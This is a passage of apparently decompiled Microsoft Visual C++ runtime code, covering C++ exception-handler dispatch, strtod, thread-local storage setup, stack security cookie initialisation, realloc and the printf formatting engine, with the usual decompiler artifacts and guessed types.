v21; // [sp-Ch] [bp-30h]@0 _s_CatchableType *pCatchable; // [sp+0h] [bp-24h]@30 unsigned int end; // [sp+4h] [bp-20h]@23 int curState; // [sp+8h] [bp-1Ch]@1 int catches; // [sp+Ch] [bp-18h]@28 int catchables; // [sp+10h] [bp-14h]@29 void *ppCatchable; // [sp+14h] [bp-10h]@29 unsigned int curTry; // [sp+18h] [bp-Ch]@23 _s_TryBlockMapEntry *pEntry; // [sp+1Ch] [bp-8h]@23 char IsRethrow; // [sp+23h] [bp-1h]@1 void *pExcepta; // [sp+2Ch] [bp+8h]@10 v8 = pRN->state; IsRethrow = 0; curState = v8; if ( v8 < -1 || v8 >= pFuncInfo->maxState ) _inconsistency(); v9 = pExcept; if ( pExcept->ExceptionCode != -529697949 ) goto LABEL_41; if ( pExcept->NumberParameters == 3 ) { v10 = pExcept->params.magicNumber; if ( v10 == 429065504 || v10 == 429065505 ) { if ( !pExcept->params.pThrowInfo ) { if ( !_getptd()->_curexception ) return; v11 = _getptd(); v12 = v11->_curexception; pExcepta = v11->_curexception; pContext = (_CONTEXT *)_getptd()->_curcontext; IsRethrow = 1; if ( !_ValidateRead(v12, 1u) ) _inconsistency(); if ( *(_DWORD *)v12 != -529697949 ) { v9 = (EHExceptionRecord *)pExcepta; goto LABEL_41; } if ( *((_DWORD *)pExcepta + 4) == 3 ) { v13 = *((_DWORD *)pExcepta + 5); if ( v13 == 429065504 || v13 == 429065505 ) { if ( !*((_DWORD *)pExcepta + 7) ) _inconsistency(); } } v9 = (EHExceptionRecord *)pExcepta; } } } if ( v9->ExceptionCode == -529697949 ) { if ( v9->NumberParameters == 3 ) { v14 = v9->params.magicNumber; if ( v14 == 429065504 || v14 == 429065505 ) { v15 = curState; v16 = _GetRangeOfTrysToCheck(pFuncInfo, CatchDepth, curState, &curTry, &end); pEntry = v16; if ( curTry < end ) { while ( 1 ) { if ( v16->tryLow <= v15 ) { if ( v15 <= v16->tryHigh ) { v17 = v16->pHandlerArray; for ( catches = v16->nCatches; catches > 0; ++v17 ) { v18 = v9->params.pThrowInfo->pCatchableTypeArray; v19 = &v18[1]; v20 = v18->nCatchableTypes; ppCatchable = v19; catchables = v20; if ( v20 > 0 ) { do { pCatchable = *(_s_CatchableType **)ppCatchable; if ( TypeMatch(v17, *(_s_CatchableType **)ppCatchable, v9->params.pThrowInfo) ) CatchIt(v9, pRN, pContext, pDC, pFuncInfo, v17, pCatchable, pEntry, CatchDepth, pMarkerRN, v21); --catchables; ppCatchable = (char *)ppCatchable + 4; } while ( catchables > 0 ); v16 = pEntry; } --catches; } } } ++curTry; ++v16; pEntry = v16; if ( curTry >= end ) break; v15 = curState; } } if ( recursive ) __DestructExceptionObject(v9, 1); return; } } } LABEL_41: if ( recursive ) terminate(); FindHandlerForForeignException(v9, pRN, pContext, pDC, pFuncInfo, curState, CatchDepth, pMarkerRN); } //----- (0057CE23) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl __InternalCxxFrameHandler(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, _CONTEXT *pContext, void *pDC, _s_FuncInfo *pFuncInfo, int CatchDepth, EHRegistrationNode *pMarkerRN, char recursive) { int (__cdecl *v8)(); // ecx@10 if ( (pFuncInfo->_bf0 & 0x1FFFFFFF) != 429065504 ) _inconsistency(); if ( pExcept->ExceptionFlags & 0x66 ) { if ( pFuncInfo->maxState ) { if ( !CatchDepth ) __FrameUnwindToState(pRN, pDC, pFuncInfo, -1); } } else { if ( pFuncInfo->nTryBlocks ) { if ( pExcept->ExceptionCode == -529697949 ) { if ( pExcept->params.magicNumber > 0x19930520 ) { v8 = pExcept->params.pThrowInfo->pForwardCompat; if ( v8 ) return ((int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v8)( pExcept, pRN, pContext, pDC, pFuncInfo, CatchDepth, pMarkerRN, (unsigned __int8)recursive); } } FindHandler(pExcept, pRN, pContext, pDC, pFuncInfo, recursive, CatchDepth, pMarkerRN); } } return 1; } //----- (0057CEC5) -------------------------------------------------------- long double __cdecl strtod(const char *nptr, char **endptr) { int v2; // eax@1 const char *v3; // esi@1 int v4; // eax@4 _flt *v5; // eax@4 int v6; // edx@6 long double result; // st7@7 double v8; // st7@10 int *v9; // eax@12 _flt answerstruct; // [sp+8h] [bp-20h]@4 long double tmp; // [sp+20h] [bp-8h]@12 v2 = (unsigned __int8)*nptr; v3 = nptr; while ( isspace(v2) ) { ++v3; v2 = (unsigned __int8)*v3; } v4 = strlen(v3); v5 = _fltin2(&answerstruct, v3, v4, 0, 0); if ( endptr ) *endptr = (char *)&v3[v5->nbytes]; v6 = v5->flags; if ( !(v5->flags & 0x240) ) { if ( v6 & 0x81 ) { v8 = _HUGE; if ( *v3 == 45 ) v8 = -_HUGE; } else { if ( !(BYTE1(v6) & 1) ) return v5->dval; v8 = 0.0; } tmp = v8; v9 = _errno(); result = tmp; *v9 = 34; return result; } result = 0.0; if ( endptr ) *endptr = (char *)nptr; return result; } //----- (0057CF53) -------------------------------------------------------- void __cdecl abort() { _NMSG_WRITE(10); raise(22); _exit(3); } //----- (0057CF6B) -------------------------------------------------------- unsigned int __stdcall __crtTlsAlloc(void (__stdcall *lpCallBack)(void *)) { return TlsAlloc(); } //----- (0057CF74) -------------------------------------------------------- void __cdecl _mtterm() { if ( __tlsindex != -1 ) { gpFlsFree(__tlsindex); __tlsindex = -1; } _mtdeletelocks(); } // 146D0270: using guessed type int (__stdcall *gpFlsFree)(_DWORD); //----- (0057CF91) -------------------------------------------------------- void __cdecl _initptd(_tiddata *ptd) { ptd->_pxcptacttab = &_XcptActTab; ptd->_holdrand = 1; } //----- (0057CFA4) -------------------------------------------------------- _tiddata *__cdecl _getptd() { DWORD v0; // ebx@1 int v1; // esi@1 void *v2; // eax@2 DWORD v3; // eax@4 v0 = GetLastError(); v1 = gpFlsGetValue(__tlsindex); if ( !v1 ) { v2 = calloc(1u, 0x8Cu); v1 = (int)v2; if ( !v2 || !gpFlsSetValue(__tlsindex, v2) ) _amsg_exit(16); *(_DWORD *)(v1 + 84) = &_XcptActTab; *(_DWORD *)(v1 + 20) = 1; v3 = GetCurrentThreadId(); *(_DWORD *)(v1 + 4) = -1; *(_DWORD *)v1 = v3; } SetLastError(v0); return (_tiddata *)v1; } // 146D0268: using guessed type int (__stdcall *gpFlsGetValue)(_DWORD); // 146D026C: using guessed type int (__stdcall *gpFlsSetValue)(_DWORD, _DWORD); //----- (0057D015) -------------------------------------------------------- void __stdcall _freefls(void *data) { void *v1; // eax@16 bool v2; // zf@17 if ( data ) { if ( *((_DWORD *)data + 9) ) free(*((void **)data + 9)); if ( *((_DWORD *)data + 11) ) free(*((void **)data + 11)); if ( *((_DWORD *)data + 13) ) free(*((void **)data + 13)); if ( *((_DWORD *)data + 15) ) free(*((void **)data + 15)); if ( *((_DWORD *)data + 17) ) free(*((void **)data + 17)); if ( *((_DWORD *)data + 18) ) free(*((void **)data + 18)); if ( *((_UNKNOWN **)data + 21) != &_XcptActTab ) free(*((void **)data + 21)); _lock(13); v1 = (void *)*((_DWORD *)data + 24); if ( v1 ) { v2 = (*(_DWORD *)v1)-- == 1; if ( v2 ) { if ( v1 != ___ptmbcinfo ) free(v1); } } _unlock(13); } } //----- (0057D15C) -------------------------------------------------------- void __cdecl _freeptd(_tiddata *ptd) { void *v1; // eax@2 if ( __tlsindex != -1 ) { v1 = ptd; if ( !ptd ) v1 = (void *)gpFlsGetValue(__tlsindex); _freefls(v1); gpFlsSetValue(__tlsindex, 0); } } // 146D0268: using guessed type int (__stdcall *gpFlsGetValue)(_DWORD); // 146D026C: using guessed type int (__stdcall *gpFlsSetValue)(_DWORD, _DWORD); //----- (0057D18B) -------------------------------------------------------- int __cdecl _mtinit() { int result; // eax@2 HINSTANCE__ *v1; // eax@3 HINSTANCE__ *v2; // edi@3 void *v3; // eax@7 void *v4; // esi@7 DWORD v5; // eax@9 if ( _mtinitlocks() ) { v1 = GetModuleHandleA("kernel32.dll"); v2 = v1; if ( v1 ) { gpFlsAlloc = (int (__stdcall *)(_DWORD))GetProcAddress(v1, "FlsAlloc"); gpFlsGetValue = (int (__stdcall *)(_DWORD))GetProcAddress(v2, "FlsGetValue"); gpFlsSetValue = (int (__stdcall *)(_DWORD, _DWORD))GetProcAddress(v2, "FlsSetValue"); gpFlsFree = (int (__stdcall *)(_DWORD))GetProcAddress(v2, "FlsFree"); if ( !gpFlsGetValue ) { gpFlsGetValue = (int (__stdcall *)(_DWORD))TlsGetValue; gpFlsSetValue = (int (__stdcall *)(_DWORD, _DWORD))TlsSetValue; gpFlsAlloc = (int (__stdcall *)(_DWORD))__crtTlsAlloc; gpFlsFree = TlsFree; } } __tlsindex = gpFlsAlloc(_freefls); if ( __tlsindex != -1 && (v3 = calloc(1u, 0x8Cu), (v4 = v3) != 0) && gpFlsSetValue(__tlsindex, v3) ) { *((_DWORD *)v4 + 21) = &_XcptActTab; *((_DWORD *)v4 + 5) = 1; v5 = GetCurrentThreadId(); *((_DWORD *)v4 + 1) = -1; *(_DWORD *)v4 = v5; result = 1; } else { _mtterm(); result = 0; } } else { _mtterm(); result = 0; } return result; } // 146D0264: using guessed type int (__stdcall *gpFlsAlloc)(_DWORD); // 146D0268: using guessed type int (__stdcall *gpFlsGetValue)(_DWORD); // 146D026C: using guessed type int (__stdcall *gpFlsSetValue)(_DWORD, _DWORD); // 146D0270: using guessed type int (__stdcall *gpFlsFree)(_DWORD); //----- (0057D27A) -------------------------------------------------------- void __cdecl terminate() { _tiddata *v0; // eax@2 if ( _getptd()->_terminate ) { v0 = _getptd(); ((void (*)(void))v0->_terminate)(); } abort(); } //----- (0057D2AF) -------------------------------------------------------- void __cdecl _inconsistency() { if ( __pInconsistency ) { __pInconsistency(); JUMPOUT(*(int *)unk_57D2CA); } terminate(); } // 57D2CA: using guessed type void __cdecl unk_57D2CA(); // 611238: using guessed type void (__cdecl *__pInconsistency)(); //----- (0057D2E0) -------------------------------------------------------- void __stdcall _CallSettingFrame(unsigned int funclet, unsigned int pRN, unsigned int dwInCode) { int v3; // ebp@0 int v4; // edi@0 int v5; // esi@0 void (__stdcall *v6)(_DWORD, _DWORD); // eax@1 *(_DWORD *)(v3 - 4) = *(_DWORD *)(v3 + 12) + 12; _NLG_Notify1(); v6(v4, v5); _NLG_Notify1(); } //----- (0057D32C) -------------------------------------------------------- unsigned int __cdecl __security_init_cookie() { unsigned int result; // eax@1 int v1; // esi@3 unsigned int v2; // esi@3 unsigned int v3; // esi@3 _LARGE_INTEGER perfctr; // [sp+0h] [bp-10h]@3 FT systime; // [sp+8h] [bp-8h]@3 result = __security_cookie; if ( !__security_cookie || __security_cookie == -1153374642 ) { GetSystemTimeAsFileTime((LPFILETIME)&systime); v1 = GetCurrentProcessId() ^ systime.ft_scalar ^ HIDWORD(systime.ft_scalar); v2 = GetCurrentThreadId() ^ v1; v3 = GetTickCount() ^ v2; QueryPerformanceCounter(&perfctr); result = perfctr._s0.LowPart ^ perfctr._s0.HighPart; __security_cookie = perfctr._s0.LowPart ^ perfctr._s0.HighPart ^ v3; if ( !__security_cookie ) __security_cookie = -1153374642; } return result; } // 610D14: using guessed type int __security_cookie; //----- (0057D392) -------------------------------------------------------- void __cdecl __security_error_handler(int code, void *data) { const char *v2; // edi@4 signed int v3; // esi@4 char *v4; // ebx@8 void *v5; // esp@10 char v6; // [sp-21h] [bp-155h]@9 int v7; // [sp+0h] [bp-134h]@10 const char *msgtext; // [sp+Ch] [bp-128h]@4 char progname[261]; // [sp+10h] [bp-124h]@6 CPPEH_RECORD ms_exc; // [sp+11Ch] [bp-18h]@2 if ( user_handler ) { user_handler(code, data); ms_exc.disabled = -1; } else { if ( code == 1 ) { v2 = "Buffer overrun detected!"; msgtext = "A buffer overrun has been detected which has corrupted the program's\ninternal state. The program cannot safely continue execution and must\nnow be terminated.\n"; v3 = 185; } else { v2 = "Unknown security failure detected!"; msgtext = "A security error of unknown cause has been detected which has\ncorrupted the program's internal state. The program cannot safely\ncontinue execution and must now be terminated.\n"; v3 = 212; } progname[260] = 0; if ( !GetModuleFileNameA(0, progname, 0x104u) ) strcpy(progname, ""); v4 = progname; if ( strlen(progname) + 11 > 0x3C ) { v4 = &v6 + strlen(progname); strncpy(v4, "...", 3u); } v5 = alloca(strlen(v4) + v3 + 12); ms_exc.old_esp = (DWORD)&v7; strcpy((char *)&v7, v2); strcat((char *)&v7, "\n\n"); strcat((char *)&v7, "Program: "); strcat((char *)&v7, v4); strcat((char *)&v7, "\n\n"); strcat((char *)&v7, msgtext); __crtMessageBoxA((const char *)&v7, "Microsoft Visual C++ Runtime Library", 0x12010u); } _exit(3); } //----- (0057D4DA) -------------------------------------------------------- void *__cdecl realloc(void *pBlock, unsigned int newsize) { void *result; // eax@2 unsigned int v3; // esi@3 tagHeader *v4; // eax@7 int v5; // eax@12 int v6; // esi@18 unsigned int v7; // eax@19 tagHeader *pHeader; // [sp+10h] [bp-20h]@7 void *pvReturn; // [sp+14h] [bp-1Ch]@6 char *pvReturna; // [sp+14h] [bp-1Ch]@18 if ( pBlock ) { v3 = newsize; if ( newsize ) { if ( __active_heap == 3 ) { while ( 1 ) { pvReturn = 0; if ( newsize <= 0xFFFFFFE0 ) break; result = 0; if ( !_newmode ) return result; if ( !_callnewh(newsize) ) goto LABEL_34; } _lock(4); v4 = __sbh_find_block(pBlock); pHeader = v4; if ( v4 ) { if ( newsize <= __sbh_threshold ) { if ( __sbh_resize_block(v4, pBlock, newsize) ) { pvReturn = pBlock; } else { pvReturn = __sbh_alloc_block(newsize); if ( pvReturn ) { v5 = *((_DWORD *)pBlock - 1) - 1; if ( v5 >= newsize ) v5 = newsize; memcpy((char *)pvReturn, (char *)pBlock, v5); pHeader = __sbh_find_block(pBlock); __sbh_free_block(pHeader, pBlock); } } } if ( !pvReturn ) { if ( !newsize ) v3 = 1; v6 = (v3 + 15) & 0xFFFFFFF0; pvReturna = (char *)HeapAlloc(_crtheap, 0, v6); if ( pvReturna ) { v7 = *((_DWORD *)pBlock - 1) - 1; if ( v7 >= v6 ) v7 = v6; memcpy(pvReturna, (char *)pBlock, v7); __sbh_free_block(pHeader, pBlock); } } } _unlock(4); } else { while ( 1 ) { result = 0; if ( v3 <= 0xFFFFFFE0 ) { if ( !v3 ) v3 = 1; result = HeapReAlloc(_crtheap, 0, pBlock, v3); } if ( result || !_newmode ) break; if ( !_callnewh(v3) ) goto LABEL_34; } } } else { free(pBlock); LABEL_34: result = 0; } } else { result = malloc(newsize); } return result; } // 146D0914: using guessed type int __sbh_threshold; // 146D0928: using guessed type int __active_heap; //----- (0057D687) -------------------------------------------------------- unsigned int __cdecl _msize(void *pblock) { unsigned int result; // eax@2 if ( __active_heap == 3 ) { _lock(4); __sbh_find_block(pblock); _unlock(4); } else { result = HeapSize(_crtheap, 0, pblock); } return result; } // 146D0928: using guessed type int __active_heap; //----- (0057D6FD) -------------------------------------------------------- int __cdecl _flsbuf(int ch, _iobuf *str) { _iobuf *v2; // esi@1 int v3; // eax@1 signed int v4; // ebx@1 int v5; // eax@6 int v6; // eax@6 const void *v7; // eax@12 char *v8; // edi@12 unsigned int v9; // edi@12 int v10; // eax@15 v2 = str; v3 = str->_flag; v4 = str->_file; if ( !(v3 & 0x82) || v3 & 0x40 ) goto LABEL_28; if ( !(v3 & 1) ) goto LABEL_6; str->_cnt = 0; if ( !(v3 & 0x10) ) { LABEL_28: v2->_flag = v3 | 0x20; return -1; } v2->_ptr = v2->_base; v2->_flag = v3 & 0xFFFFFFFE; LABEL_6: v5 = v2->_flag; v2->_cnt = 0; str = 0; v6 = v5 & 0xFFFFFFEF | 2; v2->_flag = v6; if ( !(v6 & 0x10C) && (v2 != &stru_611268 && (_UNKNOWN *)v2 != &unk_611288 || !_isatty(v4)) ) _getbuf(v2); if ( v2->_flag & 0x108 ) { v7 = v2->_base; v8 = v2->_ptr; v2->_ptr = (char *)v7 + 1; v9 = v8 - v7; v2->_cnt = v2->_bufsiz - 1; if ( (signed int)v9 <= 0 ) { if ( v4 == -1 ) v10 = (int)&__badioinfo; else v10 = __pioinfo[v4 >> 5] + 36 * (v4 & 0x1F); if ( *(_BYTE *)(v10 + 4) & 0x20 ) _lseek(v4, 0, 2); } else { str = (_iobuf *)_write(v4, v7, v9); } *v2->_base = ch; } else { v9 = 1; str = (_iobuf *)_write(v4, &ch, 1u); } if ( str == (_iobuf *)v9 ) return (unsigned __int8)ch; v2->_flag |= 0x20u; return -1; } // 146D05C0: using guessed type int __pioinfo[]; //----- (0057D816) -------------------------------------------------------- void __usercall write_char(char ch, _iobuf *f, int *pnumwritten) { bool v3; // sf@3 if ( f->_flag & 0x40 && !f->_base || ((v3 = f->_cnt - 1 < 0, --f->_cnt, v3) ? (*(_DWORD *)&ch = _flsbuf(ch, f)) : (*f->_ptr = ch, ++f->_ptr, *(_DWORD *)&ch = (unsigned __int8)ch), ch != -1) ) ++*pnumwritten; else *pnumwritten = -1; } //----- (0057D849) -------------------------------------------------------- void __usercall write_multi_char(int *pnumwritten, char ch, int num, _iobuf *f) { int *v4; // esi@1 v4 = pnumwritten; do { if ( num <= 0 ) break; --num; write_char(ch, f, v4); } while ( *v4 != -1 ); } //----- (0057D86D) -------------------------------------------------------- void __usercall write_string(char *string, _iobuf *f, int *pnumwritten, int len) { int *v4; // esi@1 char *v5; // ebx@1 v4 = pnumwritten; v5 = string; if ( !(f->_flag & 0x40) || f->_base ) { do { if ( len <= 0 ) break; --len; write_char(*v5++, f, v4); } while ( *v4 != -1 ); } else { *pnumwritten += len; } } //----- (0057D8A4) -------------------------------------------------------- int __cdecl _output(_iobuf *stream, const char *format, char *argptr) { char v3; // bl@1 int v4; // ecx@1 const char *v5; // edi@2 int v6; // edi@4 int v7; // eax@7 char v8; // al@37 signed int v9; // ecx@63 int v10; // eax@65 char *v11; // eax@68 $C8014B43F160BFD769FAE3F15553333C *v12; // esi@70 DOUBLE v13; // qax@83 int v14; // eax@86 char *v15; // ecx@87 signed int v16; // eax@88 void *v17; // eax@98 char *j; // eax@117 int v19; // eax@128 unsigned int v20; // ebx@143 unsigned int v21; // edi@143 char *i; // esi@151 int v23; // eax@152 unsigned __int64 v24; // ST04_8@154 unsigned __int64 v25; // qcx@154 signed int v26; // ecx@154 char *v27; // eax@157 char *v28; // esi@157 char v29; // bl@163 int v30; // esi@171 char *v31; // ebx@178 int v32; // eax@179 DOUBLE tmp; // [sp+4h] [bp-80h]@101 unsigned int count; // [sp+10h] [bp-74h]@154 int state; // [sp+14h] [bp-70h]@3 int capexp; // [sp+18h] [bp-6Ch]@10 int hexadd; // [sp+1Ch] [bp-68h]@110 int no_output; // [sp+20h] [bp-64h]@10 void *heapbuf; // [sp+24h] [bp-60h]@1 int bufferiswide; // [sp+28h] [bp-5Ch]@10 int fldwidth; // [sp+2Ch] [bp-58h]@10 int prefixlen; // [sp+30h] [bp-54h]@10 char prefix[2]; // [sp+34h] [bp-50h]@125 int charsout; // [sp+38h] [bp-4Ch]@1 unsigned int radix; // [sp+3Ch] [bp-48h]@1 $519E2A0ABDBAFFC353FD5D86715BA24D text; // [sp+40h] [bp-44h]@65 int precision; // [sp+44h] [bp-40h]@10 int flags; // [sp+48h] [bp-3Ch]@10 $C8014B43F160BFD769FAE3F15553333C buffer; // [sp+4Ch] [bp-38h]@70 char string; // [sp+24Ch] [bp+1C8h]@179 int formata; // [sp+264h] [bp+1E0h]@4 radix = 0; charsout = 0; heapbuf = 0; v3 = *format; v4 = 0; if ( *format ) { v5 = format; while ( 1 ) { v6 = (int)(v5 + 1); formata = v6; if ( charsout < 0 ) return charsout; if ( v3 < 32 || v3 > 120 ) v7 = 0; else v7 = *((_BYTE *)&stru_5E9460.EnclosingLevel + v3) & 0xF; state = *(&__lookuptable[8 * v7] + v4) >> 4; switch ( state ) { case 1: precision = -1; capexp = 0; no_output = 0; fldwidth = 0; prefixlen = 0; flags = 0; bufferiswide = 0; goto LABEL_187; case 2: switch ( v3 ) { case 32: flags |= 2u; break; case 35: LOBYTE(flags) = flags | 0x80; break; case 43: flags |= 1u; break; case 45: flags |= 4u; break; case 48: flags |= 8u; break; } goto LABEL_187; case 3: if ( v3 == 42 ) { argptr += 4; fldwidth = *((_DWORD *)argptr - 1); if ( fldwidth < 0 ) { flags |= 4u; fldwidth = -fldwidth; } } else { fldwidth = v3 + 10 * fldwidth - 48; } goto LABEL_187; case 4: precision = 0; goto LABEL_187; case 5: if ( v3 == 42 ) { argptr += 4; precision = *((_DWORD *)argptr - 1); if ( precision < 0 ) precision = -1; } else { precision = v3 + 10 * precision - 48; } goto LABEL_187; case 6: switch ( v3 ) { case 73: v8 = *(_BYTE *)v6; if ( *(_BYTE *)v6 != 54 || *(_BYTE *)(v6 + 1) != 52 ) { if ( v8 != 51 || *(_BYTE *)(v6 + 1) != 50 ) { if ( v8 != 100 && v8 != 105 && v8 != 111 && v8 != 117 && v8 != 120 && v8 != 88 ) { state = 0; NORMAL_STATE: bufferiswide = 0; if ( HIBYTE(_pctype[(unsigned __int8)v3]) & 0x80 ) { write_char(v3, stream, &charsout); v3 = *(_BYTE *)v6; formata = v6 + 1; } write_char(v3, stream, &charsout); } } else { BYTE1(flags) &= 0x7Fu; formata = v6 + 2; } } else { BYTE1(flags) |= 0x80u; formata = v6 + 2; } break; case 104: flags |= 0x20u; break; case 108: flags |= 0x10u; break; case 119: BYTE1(flags) |= 8u; break; } goto LABEL_187; case 0: goto NORMAL_STATE; case 7: if ( v3 > 103 ) { if ( v3 == 105 ) goto LABEL_80; if ( v3 == 110 ) { argptr += 4; v19 = *((_DWORD *)argptr - 1); if ( flags & 0x20 ) *(_WORD *)v19 = charsout; else *(_DWORD *)v19 = charsout; no_output = 1; goto LABEL_185; } if ( v3 == 111 ) { radix = 8; if ( flags & 0x80 ) BYTE1(flags) |= 2u; } else { if ( v3 == 112 ) { precision = 8; LABEL_123: hexadd = 7; } else { if ( v3 == 115 ) goto LABEL_63; if ( v3 == 117 ) goto LABEL_81; if ( v3 != 120 ) goto LABEL_162; hexadd = 39; } radix = 16; if ( flags & 0x80 ) { prefix[0] = 48; prefix[1] = hexadd + 81; prefixlen = 2; } } COMMON_INT: if ( flags & 0x8000 ) { COERCE_DOUBLE(v13.x) = *(DOUBLE *)argptr; argptr += 8; } else { argptr += 4; if ( flags & 0x20 ) { if ( flags & 0x40 ) LODWORD(v13.x) = *((_WORD *)argptr - 2); else LODWORD(v13.x) = *((_WORD *)argptr - 2); } else { LODWORD(v13.x) = *((_DWORD *)argptr - 1); if ( !(flags & 0x40) ) { HIDWORD(v13.x) = 0; goto LABEL_139; } } COERCE_DOUBLE(v13.x) = (DOUBLE)(signed int)v13.x; } LABEL_139: if ( flags & 0x40 && SHIDWORD(v13.x) <= 0 && SHIDWORD(v13.x) < 0 ) { COERCE_DOUBLE(v13.x) = (DOUBLE)-(signed __int64)v13.x; BYTE1(flags) |= 1u; } v21 = HIDWORD(v13.x); v20 = (unsigned int)v13.x; if ( !(flags & 0x8000) ) v21 = 0; if ( precision >= 0 ) { flags &= 0xFFFFFFF7u; if ( precision > 512 ) precision = 512; } else { precision = 1; } if ( !(v21 | (unsigned int)v13.x) ) prefixlen = 0; for ( i = &buffer.sz[511]; ; --i ) { v23 = precision--; if ( v23 <= 0 ) { if ( !(v21 | v20) ) break; } v24 = __PAIR__(v21, v20); v25 = __PAIR__(v21, v20) % (signed int)radix; v26 = v25 + 48; count = HIDWORD(v25); v21 = v24 / (signed int)radix >> 32; v20 = v24 / (signed int)radix; if ( v26 > 57 ) LOBYTE(v26) = hexadd + v26; *i = v26; } v27 = (char *)(&buffer.sz[511] - i); v28 = i + 1; radix = (unsigned int)v27; text.sz = v28; if ( BYTE1(flags) & 2 && (*v28 != 48 || !v27) ) { --text.sz; *text.sz = 48; v16 = (signed int)(v27 + 1); goto LABEL_161; } goto LABEL_162; } if ( v3 >= 101 ) goto LABEL_70; if ( v3 > 88 ) { if ( v3 == 90 ) { argptr += 4; v14 = *((_DWORD *)argptr - 1); if ( v14 && (v15 = *(char **)(v14 + 4)) != 0 ) { v16 = *(_WORD *)v14; text.sz = v15; if ( BYTE1(flags) & 8 ) { v16 /= 2; bufferiswide = 1; } else { bufferiswide = 0; } } else { text.sz = __nullstring; v16 = strlen(__nullstring); } goto LABEL_161; } if ( v3 == 99 ) goto LABEL_74; if ( v3 != 100 ) goto LABEL_162; LABEL_80: flags |= 0x40u; LABEL_81: radix = 10; goto COMMON_INT; } if ( v3 == 88 ) goto LABEL_123; if ( v3 == 67 ) { if ( !(flags & 0x830) ) BYTE1(flags) |= 8u; LABEL_74: argptr += 4; if ( flags & 0x810 ) { radix = wctomb(buffer.sz, *((_WORD *)argptr - 2)); if ( (radix & 0x80000000u) != 0 ) no_output = 1; } else { buffer.sz[0] = *(argptr - 4); radix = 1; } text.sz = (char *)&buffer; goto LABEL_162; } if ( v3 == 69 || v3 == 71 ) { capexp = 1; v3 += 32; LABEL_70: flags |= 0x40u; v12 = &buffer; text.sz = (char *)&buffer; if ( precision >= 0 ) { if ( precision ) { if ( precision > 512 ) precision = 512; if ( precision > 163 ) { v17 = malloc(precision + 349); heapbuf = v17; if ( v17 ) { text.sz = (char *)v17; v12 = ($C8014B43F160BFD769FAE3F15553333C *)v17; } else { precision = 163; } } } else { if ( v3 == 103 ) precision = 1; } } else { precision = 6; } COERCE_DOUBLE(tmp.x) = *(DOUBLE *)argptr; _cfltcvt_tab(&tmp, v12, v3, precision, capexp); JUMPOUT(*(int *)loc_57DD20); } if ( v3 == 83 ) { if ( !(flags & 0x830) ) BYTE1(flags) |= 8u; LABEL_63: v9 = precision; if ( precision == -1 ) v9 = 2147483647; argptr += 4; v10 = *((_DWORD *)argptr - 1); text.sz = (char *)*((_DWORD *)argptr - 1); if ( flags & 0x810 ) { if ( !v10 ) text.sz = (char *)__wnullstring; v11 = text.sz; bufferiswide = 1; while ( v9 ) { --v9; if ( !*(_WORD *)v11 ) break; v11 += 2; } v16 = (signed int)(v11 - text.sz) >> 1; } else { if ( !v10 ) text.sz = __nullstring; for ( j = text.sz; ; ++j ) { if ( v9 ) { --v9; if ( *j ) continue; } break; } v16 = j - text.sz; } LABEL_161: radix = v16; } LABEL_162: if ( no_output ) goto LABEL_185; v29 = flags; if ( !(flags & 0x40) ) goto LABEL_171; if ( BYTE1(flags) & 1 ) { prefix[0] = 45; LABEL_170: prefixlen = 1; goto LABEL_171; } if ( flags & 1 ) { prefix[0] = 43; goto LABEL_170; } if ( flags & 2 ) { prefix[0] = 32; goto LABEL_170; } LABEL_171: v30 = fldwidth - prefixlen - radix; if ( !(flags & 0xC) ) write_multi_char(32, fldwidth - prefixlen - radix, stream, &charsout); write_string(prefix, prefixlen, stream, &charsout); if ( v29 & 8 && !(v29 & 4) ) write_multi_char(48, v30, stream, &charsout); if ( bufferiswide && (signed int)radix > 0 ) { v31 = text.sz; count = radix; do { --count; v32 = wctomb(&string, *(_WORD *)v31); v31 += 2; if ( v32 <= 0 ) break; write_string(&string, v32, stream, &charsout); } while ( count ); } else { write_string(text.sz, radix, stream, &charsout); } if ( flags & 4 ) write_multi_char(32, v30, stream, &charsout); LABEL_185: if ( heapbuf ) { free(heapbuf); heapbuf = 0; } LABEL_187: v5 = (const char *)formata; v3 = *(_BYTE *)formata; if ( !*(_BYTE *)formata ) return charsout; v4 = state; break; default: goto LABEL_187; } } } return charsout; } // 57DD20: using guessed type int __cdecl(int stream, int format, int argptr); // 5E9460: using guessed type _SCOPETABLE_ENTRY stru_5E9460; // 611240: using guessed type char *__nullstring; // 611244: using guessed type wchar_t *__wnullstring; // 6115E0: using guessed type int (__cdecl *_cfltcvt_tab)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); //----- (0057E09E) -------------------------------------------------------- int __cdecl _close_lk(int fh) { int v1; // edi@4 int v2; // eax@5 unsigned int v3; // edi@6 int result; // eax@9 if ( _get_osfhandle(fh) == -1 || (fh == 1 || fh == 2) && (v1 = _get_osfhandle(2), _get_osfhandle(1) == v1) || (v2 = _get_osfhandle(fh), CloseHandle((HANDLE)v2)) ) v3 = 0; else v3 = GetLastError(); _free_osfhnd(fh); *(_BYTE *)(__pioinfo[fh >> 5] + 36 * (fh & 0x1F) + 4) = 0; if ( v3 ) { _dosmaperr(v3); result = -1; } else { result = 0; } return result; } // 146D05C0: using guessed type int __pioinfo[]; //----- (0057E121) -------------------------------------------------------- int __cdecl _close(int fh) { int v1; // esi@2 int result; // eax@6 if ( fh < _nhandle && (v1 = 36 * (fh & 0x1F), *(_BYTE *)(__pioinfo[fh >> 5] + v1 + 4) & 1) ) { _lock_fhandle(fh); if ( *(_BYTE *)(__pioinfo[fh >> 5] + v1 + 4) & 1 ) _close_lk(fh); else *_errno() = 9; _unlock_fhandle(fh); } else { *_errno() = 9; *__doserrno() = 0; result = -1; } return result; } // 146D05C0: using guessed type int __pioinfo[]; //----- (0057E1BC) -------------------------------------------------------- void __cdecl _freebuf(_iobuf *stream) { int v1; // eax@1 v1 = stream->_flag; if ( v1 & 0x83 ) { if ( v1 & 8 ) { free(stream->_base); LOWORD(stream->_flag) &= 0xFBF7u; stream->_ptr = 0; stream->_base = 0; stream->_cnt = 0; } } } //----- (0057E1E7) -------------------------------------------------------- int __cdecl __initstdio() { unsigned int v0; // eax@1 int v1; // eax@6 int result; // eax@8 int v3; // edx@9 FILE *v4; // ecx@9 signed int v5; // ecx@12 signed int v6; // edx@12 int v7; // eax@13 v0 = _nstream; if ( !_nstream ) { v0 = 512; LABEL_5: _nstream = v0; goto LABEL_6; } if ( (signed int)_nstream < 20 ) { v0 = 20; goto 